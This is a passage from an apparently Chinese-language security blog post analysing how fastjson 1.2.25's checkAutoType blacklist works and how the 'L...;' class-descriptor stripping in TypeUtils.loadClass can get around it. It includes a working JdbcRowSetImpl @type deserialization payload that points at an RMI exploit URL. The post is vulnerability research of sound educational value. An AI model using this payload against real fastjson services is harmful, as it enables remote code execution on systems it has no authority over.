再探fastjson
实验环境
- java 8u112
- IDEA2020.3
- fastjson
fastjson 1.2.25-1.4.41
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://localhost:1099/exploit\", \"autoCommit\":false}";
JSON.parse(PoC);
}
}
我们按照1.2.24的POC试试看。
很显然失败了,并且返回了一个错误:autoType is not support。在Fastjson1.2.25中使用了checkAutoType来修复1.2.22-1.2.24中的漏洞,其中有个autoTypeSupport默认为False。那chekAutoType究竟做了什么呢?我们还是利用现在的POC进行Debug观察一下。
按照执行链我们可以很容易的就找到checkAutotype这个函数。
它传入了ref和null这两个参数。其中的ref就是我们传入的@type的值:com.sun.rowset.JdbcRowSetImpl,这里我们跟入。
如上图所示,先通过对typeName的替换得到className,随后判断autoTypeSupport和expectClass这里的expectClass就是在checkAutoType传入的null值,这里的判断不成立向下执行。
随后对clazz进行了两次寻找,但是最后都返回为null,我们这里重点关注一下getClassFromMapping这个函数,我们先看一下下一段函数。
下面先对clazz进行判断,加入clazz不为null,遍可以绕过黑名单检查,也可以不坚持autoTypeSupport。回归正题,我们继续往下跟,这里会进入else的执行语句,进入后会判断autoTyperSupport是否为flase,这里判断成功进入后会先匹配是否在黑名单中,如果存在就抛出异常,如果不存在继续匹配白名单。
我们对两个对class读取对函数,进行观察发现在Typeutils这个函数里面有个很奇怪的函数,
typeutils.loadClass这个函数中会去匹配class是否以[L或者L开头,;结尾,并且将它们去掉。这个函数很奇怪,这是因为:
JNI字段描述符的存在,其中的’['用以表示数组的层数,而第二个字符则表示数组的类型,例如:
- double[][]对应的类对象为"[[D"。
- int[]对应的类对象为“[i”.
- com.sun.rowset.JdbcRowSetImpl[]对应的类对象名为“[Lcom.sun.rowset.JdbcRowSetImpl;”
L;其中的表示该对象所属的类。称为类对象描述符。
但是我们通过阅读整段的checkAutotype代码:
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null)